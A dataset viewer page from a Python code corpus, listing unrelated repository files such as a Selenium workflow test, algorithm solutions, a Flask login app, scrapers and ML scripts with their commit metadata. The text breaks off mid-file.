Reset23/the-stack-v2-filtered-python · Datasets at Hugging Face

fe1d3e30f4cdfd8651a3f9176b4620a6452e5d01

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/script/testCase/Y3me项目/人力资源/薪资核算/审批流_定调薪.py

6a0c29d1fa8b09c17d7ae30c81a1f876d8ab676d

[]

no_license

juntaoh1234/12122003

96a107ce22d930e8d9517810736d8f6ce92dc7ad

4bee39286c3708d7a0df3001e0daa9da51478170

refs/heads/master

2020-10-01T18:20:01.572599

2019-12-12T12:04:08

227,596,967

3

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4,960

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# -*-CodeIng:utf-8 -*- # @time :2019/10/31 20:02 # @author:HuangJunTao # @email:1341890679@qq.com # @file:审批流_薪资.py # @SoftWare:PyCharm from time import sleep from SRC.common.decorator import codeException_dec from SRC.unittest.case import TestCase from SRC.webdriver.switchTo import SwitchTo from script.common import utils from selenium.webdriver import ActionChains class EasyCase(TestCase): str_regular = None def __init__(self, webDriver, paramsList): # 请不要修改该方法124421 super(EasyCase, self).__init__(webDriver, paramsList) @codeException_dec('3') def runTest(self): driver = self.getDriver() driver.implicitly_wait(30) param = self.param tool = utils driver.refresh() # driver.find_element_by_xpath('//*[@id="_dropdown_popcontainer"]/div/i').click() # driver.find_element_by_xpath('//*[@id="home_header"]//div[text()="UI测试专属"]').click() # driver.find_element_by_xpath( # '//button[@class="u-button btn__style___37bsb u8c_primary__style___RFibc btn__style___20DQM "]').click() # sleep(2) # 左上方公共节点 driver.find_element_by_class_name('lebra-navbar-left-icon').click() sleep(2) # #进入社交协同 # driver.find_element_by_xpath('//*[text()="数字化建模"]').click() # sleep(2) # 进入一级节点 menu2 = driver.find_element_by_css_selector('span[title="流程管理"]') actions = ActionChains(driver) actions.move_to_element(menu2) actions.click(menu2) actions.perform() sleep(1) # 进入二级节点 driver.find_element_by_xpath('//li[@title="模型管理"]').click() sleep(1) # 跳转模型管理iframe iframe = driver.find_element_by_id('XTLCZX0006') # driver.switch_to.frame(iframe) SwitchTo(driver).frame(iframe) sleep(1) # 点击左侧树按钮 driver.find_element_by_xpath('//*[@id="app"]//span[text()="人力资源"]').click() sleep(1) # 点击左侧树按钮 driver.find_element_by_xpath('//*[@id="app"]//span[text()="薪资核算"]').click() sleep(1) wins0 = driver.window_handles # 选中请假 driver.find_element_by_xpath('//*[@id="app"]//span[text()="定调薪"]').click() # 点击新增按钮 driver.find_element_by_xpath('//div[@class="btns-wrapper"]//button[1]').click() sleep(2) # 输入流程名称 driver.find_element_by_xpath('//label[text()="名称"]/following-sibling::div//input').send_keys('定调薪流程') # 备注信息 driver.find_element_by_xpath('//textarea').send_keys("备注信息0002") # 点击确定按钮 driver.find_element_by_xpath( '//span[text()="新增流程模型"]/ancestor::div[@class="el-dialog__wrapper"]//button[2]').click() sleep(1) # 断言 self.assertEqual("创建成功", driver.find_element_by_xpath('//p[text()="创建成功"]').text) # 点击设计按钮 driver.find_element_by_xpath( '//*[@id="app"]//table[@class="el-table__body"]/tbody/tr/td[4]/div/span[2]').click() # 跳转新页面 wins = driver.window_handles driver.switch_to_window(wins[-1]) sleep(2) # 双击主管审批 # driver.find_element_by_xpath('//*[@id="app"]/div/div/div/div[1]/div[2]/button[2]').click() # driver.find_element_by_xpath('//span[@title="主管审批"]').doubleClick() driver.find_element_by_xpath('//div[@id="designer"]//div/span[1]/span').doubleClick() sleep(2) # 输入节点名称 driver.find_element_by_xpath('//input[@placeholder="请输入流程环节名称"]').send_keys("提交") # 移动滚动条 action = ActionChains(driver) ele = driver.find_element_by_xpath( '//*[@id="app"]/div/div/div/div[4]/div/div/div[2]/div[2]/div[1]/div/div[4]/div') action.drag_and_drop_by_offset(ele, 1, 110) action.perform() sleep(1) # 点击审批流的发起人 driver.find_element_by_xpath( '//*[@id="app"]/div/div/div/div[4]/div/div/div[2]/div[2]/div[1]/div/div[2]/div[2]/div[2]/label[1]/span[2]').click() # 点击保存 driver.find_element_by_xpath('//button[@class="yy-btn yy-btn-primary"]').click() # 点击保存并发布 driver.find_element_by_xpath('//button[@class="right-run yy-btn yy-btn-primary"]').click() driver.close() # 跳转回原来的页面 win1 = driver.window_handles driver.switch_to_window(win1[0]) # 关闭当前页面 sleep(2) driver.switch_to.default_content() sleep(1) driver.find_element_by_xpath('//*[@id="home_header"]/div/div[3]/ul/li/div').click()

[ "1341890679@qq.com" ]

1341890679@qq.com

17a92b1f3e8481c39a88bfcce5206a41d042f85e

ca7aa979e7059467e158830b76673f5b77a0f5a3

/Python_codes/p03003/s061738428.py

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[]

no_license

Aasthaengg/IBMdataset

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refs/heads/main

2023-04-22T10:22:44.763102

2021-05-13T17:27:22

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#ABC130-E Common Subsequence """ 問題：整数列のリストが与えられる空であるものも含めて、sとtの部分列として等しいものの個数を求めよ解法： LCSのmaxではなくsumのバージョンでかつ、数え上げなので重複をなくさなければならない。具体的には、 dp[i][j]:sをi文字目迄見た時のtをj文字目迄見た時に、 dp0:横方向(j方向)を優先して遷移した後に、縦方向(i方向)への遷移を行った時の合計 dp1:縦方向、横方向への遷移を行った時の合計として、dp1[-1][-1]が答え。 """ import sys readline = sys.stdin.buffer.readline def even(n): return 1 if n%2==0 else 0 n,m = map(int,readline().split()) s = list(map(int,readline().split())) + [-1] t = list(map(int,readline().split())) + [-2] mod = 10**9+7 #dp table dp0 = [[0]*(m+2) for _ in range(n+2)] dp1 = [[0]*(m+2) for _ in range(n+2)] dp0[0][0] = 1 #process1 for i in range(n+1): for j in range(m+1): dp0[i+1][j] += dp0[i][j]%mod dp1[i][j] += dp0[i][j]%mod dp1[i][j+1] += dp1[i][j]%mod if s[i] == t[j]: dp0[i+1][j+1] += dp1[i][j]%mod print(dp1[n][m]%mod)

[ "66529651+Aastha2104@users.noreply.github.com" ]

66529651+Aastha2104@users.noreply.github.com

d6c44a3ffa12b15844a15eec93e1fb8552b1bdaa

c09decad4cb64b151913c25192eaa13348f63833

/228_middle_of_linked_list.py

a6d7fca7e7cbd173247de187ff3f6bccce225a7d

[]

no_license

YI-DING/Lintcode

ef890e53282b9668064a7306329ecd0599dd114b

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refs/heads/master

2020-06-17T12:57:44.184391

2019-07-19T16:31:32

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py

""" Definition of ListNode class ListNode(object): def __init__(self, val, next=None): self.val = val self.next = next """ class Solution: """ @param head: the head of linked list. @return: a middle node of the linked list """ def middleNode(self, head): if not head: return None slow = fast = ListNode(0) slow.next = head while fast: if not fast.next: break slow = slow.next fast = fast.next.next return slow

[ "yiding1@uchicago.edu" ]

yiding1@uchicago.edu

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/solutions_python/Problem_201/1935.py

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[]

no_license

dr-dos-ok/Code_Jam_Webscraper

c06fd59870842664cd79c41eb460a09553e1c80a

26a35bf114a3aa30fc4c677ef069d95f41665cc0

refs/heads/master

2020-04-06T08:17:40.938460

2018-10-14T10:12:47

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from itertools import groupby import math """ I KNOW ITS SLOW BUT I WANTED TO TRY THIS SOLUTION ANYWAY """ FREE = False OCCUPIED = True def get_stall_value(stalls, stall_index): left_free_space = right_free_space = 0 tmp_index = stall_index while True: tmp_index -= 1 if stalls[tmp_index] == OCCUPIED: break left_free_space += 1 tmp_index = stall_index while True: tmp_index += 1 if stalls[tmp_index] == OCCUPIED: break right_free_space += 1 return left_free_space, right_free_space def go_into_next_stall(stalls): final_index = 0 grouped = groupby(stalls) max_len = 0 for key, group in groupby(stalls): if key == FREE: max_len = max(max_len, len(list(group))) for key, group in grouped: group = list(group) group_len = len(group) if key == OCCUPIED or group_len != max_len: final_index += group_len else: final_index += int((group_len - 1) / 2) l_val, r_val = math.ceil((group_len - 1) / 2), math.floor((group_len - 1) / 2) break stalls[final_index] = OCCUPIED return l_val, r_val def get_values(nbr_stalls, nbr_people): stalls = [FREE] * nbr_stalls stalls = [OCCUPIED] + stalls + [OCCUPIED] for people in range(nbr_people): l_val, r_val = go_into_next_stall(stalls) return l_val, r_val def main(): nbr_rows = int(input()) for nbr_row in range(1, nbr_rows + 1): nbr_stalls, nbr_people = map(int, input().split()) l_val, r_val = get_values(nbr_stalls, nbr_people) print("Case #{nbr_rows}: {l_val} {r_val}".format( nbr_rows=nbr_row, l_val=l_val, r_val=r_val)) if __name__ == "__main__": main()

[ "miliar1732@gmail.com" ]

miliar1732@gmail.com

aa358d4290d3d085e65216cf41db3ad6bfd413da

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/lcs4.py

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no_license

babiswas/Dynamic-Programming

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refs/heads/master

2022-12-24T05:24:03.282098

2020-09-27T14:55:05

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def lcs(str1,str2,m,n,T): for i in range(m+1): for j in range(n+1): if i==0 or j==0: T[i][j]=0 for i in range(1,m+1): for j in range(1,n+1): if str1[i-1]==str2[j-1]: T[i][j]=1+T[i-1][j-1] elif str1[i-1]!=str2[j-1]: T[i][j]=max(T[i-1][j],T[i][j-1]) return T[m][n] def lcs_util(str1,str2,m,n): T=[[-1 for i in range(n+1)] for j in range(m+1)] return lcs(str1,str2,m,n,T) if __name__=="__main__": print(lcs_util("abcdgh","abedfhr",len("abcdgh"),len("abedfhr")))

[ "noreply@github.com" ]

babiswas.noreply@github.com

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/login/app.py

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[]

no_license

skrstv123/LEARNING-FLASK

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refs/heads/master

2022-12-10T19:06:28.623200

2020-01-19T20:08:28

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0

null

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2019-12-19T11:38:17

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from myproject import app,db from flask import render_template, redirect, request, url_for, flash,abort from flask_login import login_user,login_required,logout_user from myproject.models import User from myproject.forms import LoginForm, RegistrationForm from werkzeug.security import generate_password_hash, check_password_hash @app.route('/') def home(): return render_template('home.html') @app.route('/welcome') @login_required def welcome_user(): return render_template('welcome_user.html') @app.route('/logout') @login_required def logout(): logout_user() flash('You logged out!') return redirect(url_for('home')) @app.route('/login', methods=['GET', 'POST']) def login(): form = LoginForm() if form.validate_on_submit(): # Grab the user from our User Models table user = User.query.filter_by(email=form.email.data).first() # Check that the user was supplied and the password is right # The verify_password method comes from the User object # https://stackoverflow.com/questions/2209755/python-operation-vs-is-not if user is not None and user.check_password(form.password.data): #Log in the user login_user(user) flash('Logged in successfully.') # If a user was trying to visit a page that requires a login # flask saves that URL as 'next'. next = request.args.get('next') # So let's now check if that next exists, otherwise we'll go to # the welcome page. if next == None or not next[0]=='/': next = url_for('welcome_user') return redirect(next) return render_template('login.html', form=form) @app.route('/register', methods=['GET', 'POST']) def register(): form = RegistrationForm() if form.validate_on_submit(): user = User(email=form.email.data, username=form.username.data, password=form.password.data) db.session.add(user) db.session.commit() flash('Thanks for registering! Now you can login!') return redirect(url_for('login')) return render_template('register.html', form=form) if __name__ == '__main__': app.run(debug=True)

[ "skrstv123@gmail.com" ]

skrstv123@gmail.com

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/backup/user_374/ch26_2020_03_23_11_49_24_338094.py

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no_license

gabriellaec/desoft-analise-exercicios

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refs/heads/main

2023-01-31T17:19:42.050628

2020-12-16T05:21:31

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py

val = int(input("Digite o valor da casa ")) sal = int(input("Digite o valor do seu salário")) ano = int(input("Digite o tempo em anos que pretende pagar ")) calculo = (val/ano) if calculo <= 0.3*sal: print("Empréstimo não aprovado") else: print("Empréstimo aprovado")

[ "you@example.com" ]

you@example.com

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/venv/lib/python3.8/site-packages/tensorflow 2/python/ops/array_ops.py

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[]

no_license

Akira331/flask-cifar10

6c49db8485038731ce67d23f0972b9574746c7a7

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refs/heads/master

2023-06-14T16:35:06.384755

2021-07-05T14:09:15

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[ "business030301@gmail.com" ]

business030301@gmail.com

0eec7a8cf3a3e4a155feae3b08a5c930173d74bf

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/data_language_all/python/python_420.txt

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[]

no_license

CoryCollins/src-class

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refs/heads/master

2023-08-17T11:53:28.754781

2021-09-27T21:13:23

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#!/usr/bin/env python __all__ = ['baomihua_download', 'baomihua_download_by_id'] from ..common import * import urllib def baomihua_download_by_id(id, title=None, output_dir='.', merge=True, info_only=False, **kwargs): html = get_html('http://play.baomihua.com/getvideourl.aspx?flvid=%s&devicetype=phone_app' % id) host = r1(r'host=([^&]*)', html) assert host type = r1(r'videofiletype=([^&]*)', html) assert type vid = r1(r'&stream_name=([^&]*)', html) assert vid dir_str = r1(r'&dir=([^&]*)', html).strip() url = "http://%s/%s/%s.%s" % (host, dir_str, vid, type) _, ext, size = url_info(url) print_info(site_info, title, type, size) if not info_only: download_urls([url], title, ext, size, output_dir, merge = merge) def baomihua_download(url, output_dir='.', merge=True, info_only=False, **kwargs): html = get_html(url) title = r1(r'<title>(.*)</title>', html) assert title id = r1(r'flvid\s*=\s*(\d+)', html) assert id baomihua_download_by_id(id, title, output_dir=output_dir, merge=merge, info_only=info_only) site_info = "baomihua.com" download = baomihua_download download_playlist = playlist_not_supported('baomihua')

[ "znsoft@163.com" ]

znsoft@163.com

2db97a28852186e87dec880bb875aaf5529e8812

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/sdk/python/jobs/pipelines/1j_pipeline_with_pipeline_component/nyc_taxi_data_regression_with_pipeline_component/train_pipeline/predict_src/predict.py

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[ "MIT" ]

permissive

Azure/azureml-examples

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refs/heads/main

2023-08-31T00:10:14.107509

2023-08-30T17:29:22

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2023-09-14T16:00:55

2020-08-21T18:04:26

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import argparse import pandas as pd import os from pathlib import Path from sklearn.linear_model import LinearRegression import mlflow mlflow.sklearn.autolog() parser = argparse.ArgumentParser("predict") parser.add_argument("--model_input", type=str, help="Path of input model") parser.add_argument("--test_data", type=str, help="Path to test data") parser.add_argument("--predictions", type=str, help="Path of predictions") args = parser.parse_args() print("hello scoring world...") lines = [ f"Model path: {args.model_input}", f"Test data path: {args.test_data}", f"Predictions path: {args.predictions}", ] for line in lines: print(line) # Load and split the test data print("mounted_path files: ") arr = os.listdir(args.test_data) print(arr) test_data = pd.read_csv(Path(args.test_data) / "test_data.csv") testy = test_data["cost"] # testX = test_data.drop(['cost'], axis=1) testX = test_data[ [ "distance", "dropoff_latitude", "dropoff_longitude", "passengers", "pickup_latitude", "pickup_longitude", "store_forward", "vendor", "pickup_weekday", "pickup_month", "pickup_monthday", "pickup_hour", "pickup_minute", "pickup_second", "dropoff_weekday", "dropoff_month", "dropoff_monthday", "dropoff_hour", "dropoff_minute", "dropoff_second", ] ] print(testX.shape) print(testX.columns) # Load the model from input port model = mlflow.sklearn.load_model(args.model_input) # Make predictions on testX data and record them in a column named predicted_cost predictions = model.predict(testX) testX["predicted_cost"] = predictions print(testX.shape) # Compare predictions to actuals (testy) output_data = pd.DataFrame(testX) output_data["actual_cost"] = testy # Save the output data with feature columns, predicted cost, and actual cost in csv file output_data = output_data.to_csv((Path(args.predictions) / "predictions.csv"))

[ "noreply@github.com" ]

Azure.noreply@github.com

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/duckietown-world-venv/lib/python3.6/site-packages/compmake/utils/system_stats.py

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[]

no_license

llingg/behaviour-benchmarking

a860bbe709309e13f3e1133d916944882199a40f

85bbf1a9c2c628ba74480fe7abac3804d6afdac4

refs/heads/v1

2022-10-06T08:21:29.068329

2020-06-11T07:02:46

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null

2020-06-02T17:52:46

2020-04-28T11:52:08

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# -*- coding: utf-8 -*- from __future__ import unicode_literals import time __all__ = [ 'AvgSystemStats', ] try: import psutil # @UnusedImport except ImportError: from compmake import logger logger.warning('Package "psutil" not found; load balancing ' 'and system stats (CPU, MEM) not available.') class AvgSystemStats(object): """ Collects average statistics about the system using psutil. """ def __init__(self, interval, history_len): """ :param interval: Collect statistics according to this interval. :param history_len: Use this many to compute avg/max statistics. """ self.interval = interval self.history_len = history_len try: import psutil # @UnresolvedImport @Reimport except: self._available = False else: self._available = True self.cpu = Collect('cpu', lambda: psutil.cpu_percent(interval=0), interval, history_len) try: # new in 0.8 psutil.virtual_memory().percent get_mem = lambda: psutil.virtual_memory().percent except: get_mem = lambda: psutil.phymem_usage().percent self.mem = Collect('mem', get_mem, interval, history_len) try: # new in 0.8 psutil.swap_memory().percent get_mem = lambda: psutil.swap_memory().percent except: get_mem = lambda: psutil.virtmem_usage().percent self.swap_mem = Collect('swap', get_mem, interval, history_len) def avg_cpu_percent(self): self._check_available() return self.cpu.get_avg() def max_cpu_percent(self): self._check_available() return self.cpu.get_max() def avg_phymem_usage_percent(self): self._check_available() return self.mem.get_avg() def cur_phymem_usage_percent(self): self._check_available() return self.mem.get_cur() def cur_virtmem_usage_percent(self): self._check_available() return self.swap_mem.get_cur() def available(self): """ returns false if psutil is not installed """ return self._available def _check_available(self): if not self._available: msg = 'Sorry, psutil not available.' raise ValueError(msg) class Collect(object): def __init__(self, name, function, interval, history_len): self.name = name self.function = function self.interval = interval self.history_len = history_len self.last_time = None self.values = [] def get_cur(self): """ Returns the last value. """ self.update_if_necessary() return self.values[-1] def get_min(self): self.update_if_necessary() return min(self.values) def get_max(self): self.update_if_necessary() return max(self.values) def get_avg(self): self.update_if_necessary() return sum(self.values) * 1.0 / len(self.values) def update_if_necessary(self): if self.values and self.time_from_last() < self.interval: return self.values.append(self.function()) self.last_time = time.time() if len(self.values) > self.history_len: self.values.pop(0) # print('%s: %s' % (self.name, self.values)) def time_from_last(self): if self.last_time is None: return self.interval * self.history_len * 2 else: return time.time() - self.last_time

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import re from scrapy.linkextractors import LinkExtractor from scrapy.spiders import CrawlSpider, Rule from locations.hours import DAYS_FR, OpeningHours from locations.structured_data_spider import StructuredDataSpider class MediaMarktBESpider(CrawlSpider, StructuredDataSpider): name = "media_markt_be" item_attributes = {"brand": "MediaMarkt", "brand_wikidata": "Q2381223"} start_urls = ["https://www.mediamarkt.be/fr/marketselection.html"] rules = [Rule(LinkExtractor(restrict_css=".all-markets-list"), callback="parse_sd")] def post_process_item(self, item, response, ld_data, **kwargs): name = response.xpath('//*[@id="my-market-content"]/h1/text()').get() if name: item["name"] = name opening_hours = self.parse_hours(ld_data) if opening_hours: item["opening_hours"] = opening_hours yield item @staticmethod def parse_hours(ld_data: dict): opening_hours = OpeningHours() regex = re.compile(r"(lu|ma|me|je|ve|sa|su)\s+(\d{2}:\d{2})\s*-(\d{2}:\d{2})") for hours_str in ld_data["openingHours"]: match = re.search(regex, hours_str) if match: day_of_week = match.group(1).capitalize() open_time = match.group(2) close_time = match.group(3) opening_hours.add_range(day=DAYS_FR[day_of_week], open_time=open_time, close_time=close_time) return opening_hours

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# Generated by Django 2.1.3 on 2018-11-21 08:30 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Product', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=255)), ('image', models.ImageField(blank=True, upload_to='product_photo/')), ('description', models.TextField()), ('price', models.IntegerField()), ], ), migrations.CreateModel( name='ProductCategory', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=255)), ], ), migrations.AddField( model_name='product', name='category', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='products.ProductCategory'), ), ]

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# Time: O(n * k) = O(3 * n) # Space: O(n + k) = O(n) import collections # freq table, dp class Solution(object): def unequalTriplets(self, nums): """ :type nums: List[int] :rtype: int """ K = 3 cnt = collections.Counter() dp = [0]*K # dp[i]: number of unequal (i+1)-plets for x in nums: cnt[x] += 1 other_cnt = 1 for i in xrange(K): dp[i] += other_cnt other_cnt = dp[i]-cnt[x]*other_cnt return dp[K-1]

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a=[1,2,3,4,5,6,3,4,5,8,9] b=[] c=[] n=len(a) i=n while i>0: b.append(a[i-1]) c.append(a[i-2]) i-=2 print(b) print(c)

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""" List Comprehension ->> utilizando List Comprehension nós podemos gerar novas listas com dados processados a partir de outro iterável (uma coleção de dados) - Sintaxe da List Comprehension - [dado clausula for dado in itervael] <$> Para melhor entender o que está acontecendo devemos dividir a expressão em duas partes: - A primeira parte: for dado in iteravel - A segunda parte: dado <-> aplica-se a operação expressa em clausula """ # Exemplos numeros = [1, 2, 3, 4, 5] # Nosso iterável exemplo print(f'Neste primeiro exemplo nossa lista-> {numeros}\nSeu tipo é -> {type(numeros)}') # Observe o poder da list comprehension res = [numero * 10 for numero in numeros] print(f'Neste primeiro exemplo vamos multiplicar cada elemento da lista por 10 -> {res}\nSeu tipo é -> {type(res)}') # Exemplos observe o poder do comprehension res = [numero / 2 for numero in numeros] print(f'Neste primeiro exemplo vamos dividir cada elemento da lista por 2 -> {res}\nSeu tipo é -> {type(res)}') def funcao(valor): """ Função para teste do poder do comprehension :param valor: Parâmetro a ser passado para a funcao ->> receberá os valores vindo do iterável :return: Retorna o valor multiplicado por ele próprio """ return valor * valor res = [funcao(numero) for numero in numeros] print(f'Neste exemplo vamos trabalhar com a função teste -> {res}\nSeu tipo é -> {type(res)}') # Avaliando diferenças =>> list Comprehension x loop # Loop numeros = [1, 2, 3, 4, 5] numeros_dobrados = [] for numero in numeros: numero_dobrado = numero * 2 numeros_dobrados.append(numero_dobrado) print(f'Comparando List Comprehension x loop -> loop {numeros_dobrados}\nSeu tipo é {type(numeros_dobrados)}') # Vamos refatorar o código acima para que seja menos traumático quando comparado com o uso do Comprehension numeros_dobrados = [] for numero in [1, 2, 3, 4, 5]: numeros_dobrados.append(numero * 2) print(f'Comparando após refatorado List Comprehension x loop -> loop {numeros_dobrados}\nSeu tipo é {type(numeros_dobrados)}') # O mesmo exemplo utilizndo list Comprehension ->> observe as duas formas veja a facilidade!!! res = [numero * 2 for numero in numeros] print(f'O mesmo exemplo com list Comprehension {res}') print(f'O mesmo exemplo com list Comprehension {[numero * 2 for numero in numeros]}') # Outros exemplos # Exemplo 1 -> queremos colocar todos os caracteres em maiúscula nome = 'Python para Ciência de Dados' print(f'Exemplos de uso de list comprehension -> {[letra.upper() for letra in nome]}\nSeu tipo é -> {type([letra.upper() for letra in nome])}') # Exemplo 2 -> queremos colocar apenas o primeiro caracter em maiúscula amigos = ['joão', 'pedro', 'fernando', 'mariana', 'carlos'] print(f'Primeiro em maiúcula -> {[amigo.title() for amigo in amigos]}') # Exemplo 3 -> trabablhando com range -> queremos multiplicar por 10 uma lista gerada por range print(f'Trabalhando com range -> {[numero * 10 for numero in range(1, 10)]}') # Exemplo 4 -> convertendo uma lista para boolean print(f'Converte para Boolean -> {[bool(valor) for valor in [0, [],"", True, 1, 2, 3, 100.37]]}') # Exemplo 5 -> transformando números em string usando cast print(f'Tranformando números em strings -> {[str(letra) for letra in [1, 2, 3, 4, 5]]}')

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n, m = map(int, input().split()) m2 = 2*m count = 0 for i in range(n): floor = list(map(int, input().split())) for j in range(0,m2,2): if floor[j] == 1 or floor[j+1] == 1: count += 1 print(count)

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class Solution: def isSubsequence(self, s: str, t: str) -> bool: if t is None or len(t)==0: return s is None or len(s)==0 if s is None or len(s)==0: return True # s = "abc", t = "ahbgdc" ptr = 0 for c in s: found = False while ptr < len(t): if t[ptr] == c: found = True ptr+=1 break ptr+=1 if found == False: return False return True obj = Solution() print(obj.isSubsequence("","abcd"))

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with open('data/vqa_trainval_question_word_counts.txt', 'r') as fs: lines = fs.readlines() words = [line.split()[0].strip() for line in lines] with open('tmp_dump.txt', 'w') as fs: for word in words: fs.write('%s\n' % word) from nltk.corpus import wordnet as wn import nltk import numpy as np def is_noun(tag): return tag in ['NN', 'NNS', 'NNP', 'NNPS'] def is_verb(tag): return tag in ['VB', 'VBD', 'VBG', 'VBN', 'VBP', 'VBZ'] def is_adverb(tag): return tag in ['RB', 'RBR', 'RBS'] def is_adjective(tag): return tag in ['JJ', 'JJR', 'JJS'] def penn_to_wn(tag): if is_adjective(tag): return wn.ADJ elif is_noun(tag): return wn.NOUN elif is_adverb(tag): return wn.ADV elif is_verb(tag): return wn.VERB return None # generated lemmatized words lemmatized = [] for i, word in enumerate(words): pos_tag = nltk.pos_tag([word]) tag = pos_tag[0][-1] wn_type = penn_to_wn(tag) if wn_type is None: lem_word = word else: lem_word = nltk.stem.WordNetLemmatizer().lemmatize(word, wn_type) lemmatized.append(lem_word) # build mapping vocab = {word: i for i, word in enumerate(words)} index = [] for lem_word, word in zip(lemmatized, words): try: id = vocab[lem_word] except: id = vocab[word] index.append(id) index = np.array(index, dtype=np.int32) from scipy.io import savemat savemat('data/quest_token2lemma.mat', {'word2lemma': index})

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import pickle from collections import OrderedDict from distutils.version import LooseVersion import cloudpickle import numpy as np import pytest import torch from pytorch_lightning.metrics.metric import Metric torch.manual_seed(42) class Dummy(Metric): name = "Dummy" def __init__(self): super().__init__() self.add_state("x", torch.tensor(0), dist_reduce_fx=None) def update(self): pass def compute(self): pass def test_inherit(): a = Dummy() def test_add_state(): a = Dummy() a.add_state("a", torch.tensor(0), "sum") assert a._reductions["a"](torch.tensor([1, 1])) == 2 a.add_state("b", torch.tensor(0), "mean") assert np.allclose(a._reductions["b"](torch.tensor([1.0, 2.0])).numpy(), 1.5) a.add_state("c", torch.tensor(0), "cat") assert a._reductions["c"]([torch.tensor([1]), torch.tensor([1])]).shape == (2,) with pytest.raises(ValueError): a.add_state("d1", torch.tensor(0), 'xyz') with pytest.raises(ValueError): a.add_state("d2", torch.tensor(0), 42) with pytest.raises(ValueError): a.add_state("d3", [torch.tensor(0)], 'sum') with pytest.raises(ValueError): a.add_state("d4", 42, 'sum') def custom_fx(x): return -1 a.add_state("e", torch.tensor(0), custom_fx) assert a._reductions["e"](torch.tensor([1, 1])) == -1 def test_add_state_persistent(): a = Dummy() a.add_state("a", torch.tensor(0), "sum", persistent=True) assert "a" in a.state_dict() a.add_state("b", torch.tensor(0), "sum", persistent=False) if LooseVersion(torch.__version__) >= LooseVersion("1.6.0"): assert "b" not in a.state_dict() def test_reset(): class A(Dummy): pass a = A() assert a.x == 0 a.x = torch.tensor(5) a.reset() assert a.x == 0 def test_update(): class A(Dummy): def update(self, x): self.x += x a = A() assert a.x == 0 assert a._computed is None a.update(1) assert a._computed is None assert a.x == 1 a.update(2) assert a.x == 3 assert a._computed is None def test_compute(): class A(Dummy): def update(self, x): self.x += x def compute(self): return self.x a = A() assert 0 == a.compute() assert 0 == a.x a.update(1) assert a._computed is None assert a.compute() == 1 assert a._computed == 1 a.update(2) assert a._computed is None assert a.compute() == 2 assert a._computed == 2 # called without update, should return cached value a._computed = 5 assert a.compute() == 5 def test_forward(): class A(Dummy): def update(self, x): self.x += x def compute(self): return self.x a = A() assert a(5) == 5 assert a._forward_cache == 5 assert a(8) == 8 assert a._forward_cache == 8 assert a.compute() == 13 class ToPickle(Dummy): def update(self, x): self.x += x def compute(self): return self.x def test_pickle(tmpdir): # doesn't tests for DDP a = ToPickle() a.update(1) metric_pickled = pickle.dumps(a) metric_loaded = pickle.loads(metric_pickled) assert metric_loaded.compute() == 1 metric_loaded.update(5) assert metric_loaded.compute() == 5 metric_pickled = cloudpickle.dumps(a) metric_loaded = cloudpickle.loads(metric_pickled) assert metric_loaded.compute() == 1 def test_state_dict(tmpdir): """ test that metric states can be removed and added to state dict """ metric = Dummy() assert metric.state_dict() == OrderedDict() metric.persistent(True) assert metric.state_dict() == OrderedDict(x=0) metric.persistent(False) assert metric.state_dict() == OrderedDict()

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import string import inspect from collections import defaultdict import ipywidgets as widgets def extract_module_name(obj, full=False): """ Get the name of a module for an object. """ properties = inspect.getmembers(obj) for name, value in properties: if name == '__module__': if full: return value.split('.')[-1] else: return value else: raise ValueError('How odd...no moduel was found!') def organized_widgets(organize_by='ui'): """ Return a dictionary of all DOM widgets organized by either which module they are in or by the type of UI. Parameters ---------- organize_by : str, optional Must be one of 'ui' or 'module'. Determines the keys in the returned dictionary. Returns ------- dict Dictionary whose keys are the names of the widget groups and whose values are dictionaries. The dictionaries which are the values of ``groups`` have the name of the widget to be displayed as the key and the class of the widget as the value. """ valid_organizations = ['ui', 'module'] if organize_by not in valid_organizations: raise ValueError(f'Invalid value {organize_by} for organize_by. ' 'Valid options are: {valid_organizations}') all_wids = inspect.getmembers(widgets) # for a in all_wids: # name = a[0] # arf = a[1] # if (not name.startswith('_') and # name[0] in string.ascii_uppercase and # issubclass(arf, widgets.DOMWidget)): # print('woot') widget_dict = {name: wid for name, wid in all_wids if not name.startswith('_') and name[0] in string.ascii_uppercase and issubclass(wid, widgets.DOMWidget) and name != 'DOMWidget' } if organize_by == 'ui': containers = ['Box', 'VBox', 'HBox', 'GridBox', 'Accordion', 'Tab', 'AppLayout', 'GridspecLayout', 'TwoByTwoLayout'] groups = dict( sliders={k: v for k, v in widget_dict.items() if 'Slider' in k}, buttons={k: v for k, v in widget_dict.items() if 'Button' in k}, containers={k: v for k, v in widget_dict.items() if k in containers}, texts={k: v for k, v in widget_dict.items() if 'text' in k or 'Text' in k or 'HTML' in k or k in ['Label', 'Password']}, progress={k: v for k, v in widget_dict.items() if 'Progress' in k}, selects={k: v for k, v in widget_dict.items() if k in ['Dropdown', 'Select', 'SelectMultiple']}, media={k: v for k, v in widget_dict.items() if k in ['Audio', 'Image', 'Play', 'Video']} ) all_so_far = [name for k, v in groups.items() for name in v.keys()] groups['others'] = {k: v for k, v in widget_dict.items() if k not in all_so_far} elif organize_by == 'module': groups = defaultdict(dict) for k, v in widget_dict.items(): module_name = extract_module_name(v) # Grab just the very last part of the module name for a nicer title module_name = module_name.split('_')[-1] groups[module_name][k] = v return groups def list_overview_widget(groups, help_url_base='', columns=3, min_width_single_widget=300): """ Create an tab-based display of all of the widgets in ``groups``, with a separate tab for each key in groups and links to more detail for each widget. The first line of the docstring of each widget provides a short description of the widget. Parameters ---------- groups : dict Dictionary whose keys are the names of the widget groups and whose values are dictionaries. The dictionaries which are the values of ``groups`` should have the name of the widget to be displayed as the key and the class of the widget as the value. help_url_base : str, optional URL to prepend to the help link for each widget. columns : int, optional Number of columns to use in displaying the widgets. min_width_single_widget : int, optional Minimum width, in pixels, of a widget displayed on a tab. Returns ------- widgets.Tab A ``Tab`` widget with one tab for key of groups in which all of the widgets in that group are displayed. """ tabs = widgets.Tab() if help_url_base is None: help_url_base = 'https://ipywidgets.readthedocs.io/en/stable/examples/Widget%20List.html' titles = [] kids = [] def box_maker(name, widget, group): layout = widgets.Layout(grid_template_columns="1fr", border='2px solid gray') b = widgets.GridBox(layout=layout) module = extract_module_name(widget, full=True) #print(' ', widget.__name__, module) if 'selection' in 